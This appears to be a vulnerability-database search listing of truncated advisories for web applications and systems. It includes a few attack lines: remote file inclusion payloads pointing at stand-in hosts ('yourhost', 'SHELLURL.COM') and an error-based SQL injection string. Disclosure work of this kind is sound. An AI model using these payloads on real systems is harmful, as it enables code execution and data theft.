56796 matches found
CmsTop媒体版中某处sql注入漏洞
简要描述： sql注入漏洞 详细说明： 可以直接修改 管理员密码。 问题出现在 uc.php接口中,没有正确的判断UC接口是否开启,而key又是默认的。 因为代码中自己关闭了GPC，所以会导致注入。 $set= setting'member'; $set'ucdbtablepre' = ''.$set'ucdbname'.'.'.$set'ucdbtablepre'; $set = arraychangekeycase$set, CASEUPPER; foreach$set as $k = $v ifpregmatch'/^UC/',$k define$k,$v;...
Discuz 6.0 /my.php SQL注入漏洞
No description provided by source...
CartWIZ 1.10 AddToCart.ASP SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/13330/info CartWIZ is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input prior to utilizing the data in an SQL query. Successful exploitatio...
EQdkp <= 1.3.0 (dbal.php) Remote File Inclusion Vulnerability
No description provided by source. Title: EQdkp = 1.3.0 Remote File Inclusion URL: http://www.eqdkp.com/ Dork: powered by EQdkp Author: OLiBekaS greetz: Skulmatic, weleh, brockencode, and all papmahackerlink crew Exploit: /includes/dbal.php?eqdkprootpath=http://yourhost/cmd.gif?cmd=ls milw0rm.com...
AlstraSoft AskMe Pro <= 2.1 - Multiple SQL Injection Vulnerabilities
No description provided by source. -+================================================================================+- -+ AlstraSoft AskMe Pro = 2.1 SQL Injection Vulnerabilitys +- -+================================================================================+- Discovered By: t0pP8uZz...
泛微oa /webservice/upload.php /webservice/upload/upload.php 等多处任意文件上传
任意文件上传共四处，属于同一个漏洞 文件位置 /webservice/upload.php /webservice/upload/upload.php /webservice-json/upload/upload.php /webservice-xml/upload/upload.php 四处都有如下代码 没有对文件有任何验证，无须登陆 文件上传之后的位置是： $path = $ATTACHPATH.$attachmentID; $fileName = $path."/".$FILES'file''name'; moveuploadedfile $FILES'file''tmpname'...
cmstop媒体云sql注入漏洞(1)-order by 注入技巧
简要描述： 今天无聊就多看了一会儿媒体云的产品，order by 后面的注入技巧 详细说明： 其他说明见： WooYun: cmstop媒体云SQL注入漏洞 同样的cmstop 媒体云的注入 注册账号后，在选择链接分类的时候，会发生如下链接 http://site.cmstop.cn/link/index/list?type=1&offset=0&limit=50&=1440172313381&sort=desc&category=2 但是其中的sort参数过滤不严格，导致了一个order by后面的mysql注入...
正方教务管理系统存在XSS漏洞可威胁所有登陆用户
简要描述： 所有登陆正方教务系统的用户都可能受到该漏洞威胁。 详细说明： 登陆正方教务系统后，每个用户的首页为用户公告栏。 教师具有修改/添加公告栏的内公告的权限，而此处存在XSS漏洞。 漏洞证明： 使用任意一位教师账号登陆（教师账号怎么获得？自己想办法吧，不过目测不少老师都用着默认密码没有修改）： 点击公用信息，教务公告： 这里，公告标题可以随意发挥，我们来段弹窗试试： 这样就成功地增加了一条公告，默认是全校所有用户可见。同时还可以选择该条消息面向的对象（某个学院所有用户或者某位老师），从而实现XSS炸弹的定点爆破： 换个用户登录系统，就可以看到如下提示：...
myPHPCalendar 10192000b (cal_dir) Remote File Include Vulnerabilities
No description provided by source. script name : myPHPCalendar Script Downloads : http://freshmeat.net/projects/myphpcalendar/ Web Site : http://myphpcalendar.sourceforge.net/ Version : 10.1 Risk : High Found By : Cr@zyKing Thanks : | eTNR | ApAci | Eno7 | TheHacker | Kormali46 | TheBekir |...
Mambo Gallery Manager MosConfig_Absolute_Path远程文件包含漏洞
Mambo Gallery Manager是一款基于Mambo的图片程序。 Mambo Gallery Manager不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'help.mgm.php'脚本对用户提交的"mosConfigabsolutepath"参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Mambo Mambo Gallery Manager Component 0.95 r3 http://mamboxchange.com/projects/mgm/...
TPshop 前台SQL注入#3
0x01 说明 TPshop开源商城系统 Thinkphp shop的简称 ，是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城，系统PC+后台是基于ThinkPHP5 MVC构架开发的跨平台开源软件，设计得非常灵活，具有模块化架构体系和丰富的功能，易于与第三方应用系统无缝集成，在设计上，包含相当全面，以模块化架构体系，让应用组合变得相当灵活，功能也相当丰富。 下载地址：http://www.tp-shop.cn/Index/Index/download.html 目录大概结构 ├─index.p...
phpshe v1.1 任意文件上传漏洞
No description provided by source...
Shop7z show.asp cookie注入
No description provided by source...
ecshop商城系统 delete_cart_goods.php文件SQL注入漏洞
0x01 框架介绍 商城网站建设-damall多功能商城建站系统,支持B2C2C,O2O模式...DaMall商城建站系统采用强劲的.NET企业级平台研发,可兼容多行业、多模式的业务特点以及扩展需求。 官方主页：http://www.bg68.com 0x02 漏洞细节 漏洞页面： http://mall.bg68.com/httphandler/getdata.ashx 参数brandid 部分用户案例： http://mall.hicay.com/httphandler/getdata.ashx http://w16.cxecs.com/httphandler/getdata.ash...
WebSphere “Java 反序列化”过程远程命令执行漏洞
满足此漏洞的环境配置 漏洞源头commons-collections.jar 开启的SOAP端口8880. /opt/IBM/WebSphere/AppServer/properties/wsadmin.properties 测试websphere的环境版本号7.0.0.11，目前最新的版本是8.5.5 漏洞影响 ZoomEye 团队针对全球开放8880端口的289.6万服务器进行了漏洞验证，已经确认其中963台服务器存在该风险 关联漏洞链接 1. JBoss “Java 反序列化”过程远程命令执行漏洞 https://www.sebug.net/vuldb/ssvid-89723 2...
方正论文授权提交系统后台管理员登陆SQL注入漏洞/防范绕过/拖库/挂马隐患
简要描述： 在母校网站上偶尔发现论文提交系统存在明显漏洞，度娘一下发现这个系统普及率较广，影响大学很多，所有学位论文可以任意下载，学生几年的辛苦可能被人轻松搞去，去年10月份已经有人在乌云提过，但是仍然有很多学校没有防范过滤，已经添加过滤的也可以轻松绕过，一旦绕过，由于文件上传漏洞可以直接挂马 详细说明： 已经验证过的影响学校如下： 云南大学（未作防护）http://202.203.222.222/tasi/admin.asp?lang=gb 华南师范大学增城学院（未作防护）http://lib2.scnuzc.cn/tasi/admin/login.asp...
Microsoft Windows TCP/IP ICMP CVE-2011-1871远程拒绝服务漏洞
Bugtraq ID: 48987 CVE ID：CVE-2011-1871 Microsoft Windows是一款流行的操作系统。 Windows TCP/IP栈不正确处理特制构建的ICMP消息序列，远程攻击者可以利用漏洞发送特制消息使系统停止响应或自动重新启动。 Microsoft Windows Vista x64 Edition SP2 Microsoft Windows Vista SP2 Microsoft Windows Server 2008 R2 x64 SP1 Microsoft Windows Server 2008 R2 x64 0 Microsoft...
VMware Consolidated Backup (VCB)用户密码信息泄漏漏洞
BUGTRAQ ID:30937 CVE ID：CVE-2008-2101 CNCVE ID：CNCVE-20082101 VMware ESX Server是一款企业级虚拟计算机软件。 VMware Consolidated BackupVCB命令行工具存在设计问题，本地攻击者可以利用漏洞获得用户密码信息。 VMware Consolidated BackupVCB命令行工具可通过-p命令接收密码，用户登录到服务控制台可以获得通过VCB命令行运行过程中的用户名和密码信息。 VMWare ESX Server 3.0.3 VMWare ESX Server 3.0.2 VMWare ES...
Bingo News BP_ncom.PHP远程文件包含漏洞
BinGoPHP是一款基于PHP的WEB应用程序。 BinGoPHP不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'BPncom.PHP'脚本对用户提交的'bnrep'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 BinGoPHP BinGoPHP 3.01 http://bingophp.free.fr/ http://www.example.com/Script Path/bpncom.php?bnrep=http://SHELLURL.COM?...
Aurora IDEX Membership(IDXM), ERC20 Token, allows attackers to acquire contract ownership (CVE-2018–10666)
Abstract I found a new vulnerability in smart contract of IDXM Token CVE-2018–106661. Attackers can acquire contract ownership because the setOwner function is delcared as public. A new owner can subsequently bypass intended access restrictions by, for example, calling uploadBalances. Details In...
Linux kernel local privilege escalation flaw in n_hdlc（CVE-2017-2636）
This article discloses the exploitation of CVE-2017-2636, which is a race condition in the nhdlc Linux kernel driver drivers/tty/nhdlc.c. The described exploit gains root privileges bypassing Supervisor Mode Execution Protection SMEP. This driver provides HDLC serial line discipline and comes as ...
StrongSoft 四创灾害预警系统SQL报错注入（queryvalue参数）
No description provided by source...
Binary File Descriptor Library (libbfd) - Out-of-Bounds Crash
No description provided by source. Many shell users, and certainly a lot of the people working in computer forensics or other fields of information security, have a habit of running /usr/bin/strings on binary files originating from the Internet. Their understanding is that the tool simply scans t...
Microsoft IIS交换数据流绕过认证漏洞(MS10-065)
BUGTRAQ ID: 41314 CVE ID: CVE-2010-2731 Microsoft Internet信息服务（IIS）是Microsoft Windows自带的一个网络信息服务器，其中包含HTTP服务功能。 IIS没有正确地处理目录的基础认证，远程攻击者可以在请求的目录名后附加NTFS流名称和流类型（:$i30:$INDEXALLOCATION）绕过认证访问受保护的目录。 Microsoft IIS 5.1 厂商补丁： Microsoft --------- Microsoft已经为此发布了一个安全公告（MS10-065）以及相应补丁:...
nginx WebDAV目录遍历漏洞
BUGTRAQ ID: 36490 nginx是多平台的HTTP服务器和邮件代理服务器。 nginx可以用作webdav发布服务器，通过webdav用户可以将文件从一个位置拷贝或移动到另一个位置。MOVE或COPY方式需要使用包含有放置文件位置信息的Destination: HTTP头。如果在这个头中使用“../”等字符，攻击者就可以遍历目录树，将文件放置在webroot之外。 nginx默认以nobody用户权限运行，因此这个bug并不严重，因为攻击者仅允许向/tmp/或属于nobody的目录写入文件。此外，攻击还需要webdav的upload权限。 Igor Sysoev nginx...
PHPizabi 0.848b C1 HFP1 Remote Code Execution Exploit
No description provided by source. !/usr/bin/perl inphex PHPizabi v0.848b C1 HFP1 Remote Code Execution http://www.dz-secure.com/tools/1/WebESploit.pl.txt if you are seeking for a partner to work on some projects just send an email inphex0 at gmail dot com system/vcronproc.php if...
Joomla Component com_facileforms 1.4.4 RFI Vulnerability
No description provided by source. Title: Joomla Component ComFacileforms ================================================================ + Author : Dr.Kacak + Special Thankz : KnocKout and all my friends + System 0VerfL0verZ ================================================================= Scri...
Mambo User Home Pages Component <= 0.5 Remote Include Vulnerability
No description provided by source. Kurdish Security Freedom For Ocalan Contact : irc.gigachat.net kurdhack & www.PatrioticHackers.com Rish : High Class : Remote Script : User Home Pges Site : www.ravensportal.co.uk Thanx : kurdishsniper,netqurd,flot,azad,darki,B3g0k,jubni,milex,fearless,kha,kca a...
Apache Subversion Remote Command Execution Vulnerability(CVE-2017-9800)
Arbitrary code execution on clients through malicious svn+ssh URLs in svn:externals and svn:sync-from-url Summary: ======== A Subversion client sometimes connects to URLs provided by the repository. This happens in two primary cases: during 'checkout', 'export', 'update', and 'switch', when the...
pigcms id参数SQL注入漏洞
No description provided by source...
Espcms v5.0 /index.php SQL注入漏洞
构造www.xxx.cc/index.php?ac=search&at=taglist&tagkey=%2527,tags orselect 1 fromselect count,concatselect select concat0x7e,0x27,tablename,0x27,0x7e from informationschema.tables where tableschema=database limit 0,1,floorrand02x from informationschema.tables group by xa%23...
Apple Mac OS X 2007-005多个安全漏洞
Apple Mac OS X是一款基于BSD的商业性质的操作系统。 Apple Mac OS X存在多个安全问题，远程攻击者可以利用漏洞进行拒绝服务，执行任意代码，提升特权等攻击。 CVE-ID: CVE-2007-0740 Alias Manager在部分条件可以使用户打开恶意文件，导致特权提升。 CVE-ID: CVE-2007-0493, CVE-2007-0494, CVE-2006-4095, CVE-2006-4096： BIND服务程序存在多个安全问题，可导致拒绝服务攻击。 CVE-ID: CVE-2007-0750...
Thomson SpeedTouch 2030 SIP Empty Message Remote Denial of Service Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/25464/info Thomson SpeedTouch 2030 is prone to a denial-of-service vulnerability because the device fails to handle specially crafted SIP INVITE messages. Exploiting this issue allows remote attackers to cause the device ...
Apache Tomcat请求对象安全限制绕过漏洞
BUGTRAQ ID: 51442 CVE ID: CVE-2011-3375 Apache Tomcat是一个流行的开放源码的JSP应用服务器程序。 Apache Tomcat在实现上存在安全限制绕过漏洞，成功利用后可允许攻击者绕过某些安全策略限制。 0 Apache Group Tomcat 7.x Apache Group Tomcat 6.x 厂商补丁： Apache Group ------------ 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://jakarta.apache.org/tomcat/index.html...
Microsoft Windows SMBv2协商远程代码执行漏洞(MS09-050)
Bugraq ID: 36299 CVE ID：CVE-2009-3103 Microsoft windows是一款流行的操作系统。 Microsoft windows SMB2是新版windows捆绑的SMB协议实现，SRV2.SYS驱动不正确处理发送给NEGOTIATE PROTOCOL REQUEST功能的畸形SMB头字段数据，NEGOTIATE PROTOCOL REQUEST是客户端发送给SMB服务器的第一个SMB查询，用于识别SMB语言并用于之后的通信。 远程攻击者可以构建Process Id...
Apache mod_proxy_ftp模块通配符字符跨站脚本漏洞
BUGTRAQ ID: 30560 CVECAN ID: CVE-2008-2939 Apache HTTP Server是一款流行的Web服务器。 如果将Apache HTTP Server配置了代理支持（配置文件中ProxyRequests On）且启用了modproxyftp模块以提供HTTP上FTP支持的话，则类似于以下的包含有通配符字符（“”、“'”、“”等）的请求： GET ftp://host/foo HTTP/1.0 就会在modproxyftp所返回的响应中导致跨站脚本攻击： ... h2Directory of a href="/"ftp://host/a/foo/h...
Ingo Procmail驱动Shell命令执行漏洞
Ingo是一款邮件过滤规则管理器，集成于Horde和IMP Webmail客户端。 Ingo的procmail驱动没有正确地转义文件夹名称，远程攻击者可能利用此漏洞执行任意Shell命令。 Horde Ingo 1.1.1 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： ftp://ftp.horde.org/pub/ingo/ingo-h3-1.1.2.tar.gz http://ftp.horde.org/pub/ingo/ingo-h3-1.1.2.tar.gz...
NagiosXI <= 5.4.12 info.php SQL injection(CVE-2018-10736)
NagiosXI = 5.4.12 info.php SQL injectionCVE-2018-10736 Description A SQL injection issue was discovered in Nagios XI via the admin/info.php key1 parameter. Affected Version Nagios XI 5.2.x Nagios XI 5.4.x before 5.4.13 Proof of concept...
ProjectSend r582 多个（持久）XSS漏洞
No description provided by source...
Wordpress Bonuspressx插件-ar_submit.php文件-跨站脚本漏洞
No description provided by source...
JEECMS XssFilter缺陷导致的存储型XSS漏洞
简要描述： 自带的XssFilter绕过。 详细说明： 在官网下载最新的jeecmsV7 http://.../fabu/41667.jhtml 其中的web.xml中配置了XssFilter如下： XssFilter ...mon.web.XssFilter excludeUrls /member/contribute@/jeeadmin/jeecms@/flowstatistic SplitChar @ FilterChar '@"@@@:@%@ ReplaceChar ‘@“@＼@＃@：@％@＞ 在...mon.web.XssFilter中代码如下： public class...
用友致远A6协同系统 /yyoa/HJ/iSignatureHtmlServer.jsp 文件 SQL注入漏洞
No description provided by source...
PerlSoft Gästebuch Version: 1.7b 'admincenter.cgi' Remote Command Execution Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/33525/info PerlSoft Gästebuch is prone to a vulnerability that attackers can leverage to execute arbitrary commands. This issue occurs because the application fails to adequately sanitize user-supplied input. Note that a...
MySQL COM_FIELD_LIST命令绕过权限检查漏洞
BUGTRAQ ID: 40109 CVE ID: CVE-2010-1848 MySQL是一款使用非常广泛的开放源代码关系数据库系统，拥有各种平台的运行版本。 MySQL在处理COMFIELDLIST命令的表格名称参数时没有正确的执行权限检查，对一个表格拥有DELETE或SELECT权限的认证用户可以读取或删除其他表格的内容。 MySQL 5.1/5.0 厂商补丁： Oracle ------ 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://bugs.mysql.com/bug.php?id=53371...
NewsReactor 20070220 Article Grabbing Remote BoF Exploit (1)
No description provided by source. / NewsReactor 20070220 Article Grabbing Remote Buffer Overflow Exploit 1 &nbs...
PhotoPost <= 4.6 (PP_PATH) Remote File Include Vulnerability
No description provided by source. ==================================================================== PhotoPost = 4.6 PPPATH Remote File Inclusion Exploit ==================================================================== Critical Level : Dangerous By Saudi Hackrz http://www.popphoto.com/...
Chrome 远程代码执行漏洞（CVE-2021-21220）
...
Oracle PeopleSoft Remote Code Execution: Blind XXE to SYSTEM Shell
Oracle PeopleSoft I had the chance, a few months ago, to audit several Oracle PeopleSoft solutions, including PeopleSoft HRMS and PeopleTool. Despite several undocumented CVEs, the Internet did not have much to offer on how to attack the software, except for the very informative talk from ERPScan...
GNU bash 4.3.11 Environment Variable dhclient Exploit
No description provided by source. !/usr/bin/python Exploit Title: dhclient shellshocker Google Dork: n/a Date: 10/1/14 Exploit Author: @0x00string Vendor Homepage: gnu.org Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz Version: 4.3.11 Tested on: Ubuntu 14.04.1 CVE :...
Tinyproxy 'conf.c'整数溢出安全绕过漏洞
Bugtraq ID: 47715 CVE ID：CVE-2011-1499 Tinyproxy是一个小型的基于GPL的HTTP/SSL代理程序。 Tinyproxy在子网掩码生成实现上存在一个错误，当配置允许网络段时如"Allow 192.168.0.0/24"相对与默认的"Allow 127.0.0.1"，会允许任意IP地址连接，使其成为一个开放代理。如果配置使用一个或多个使用IP段的Allow语句，就会发生这种情况。 Banu Systems Private Limited Tinyproxy 1.8.2 厂商解决方案 Tinyproxy 1.8.3已经修复此漏洞，建议用户下载使用...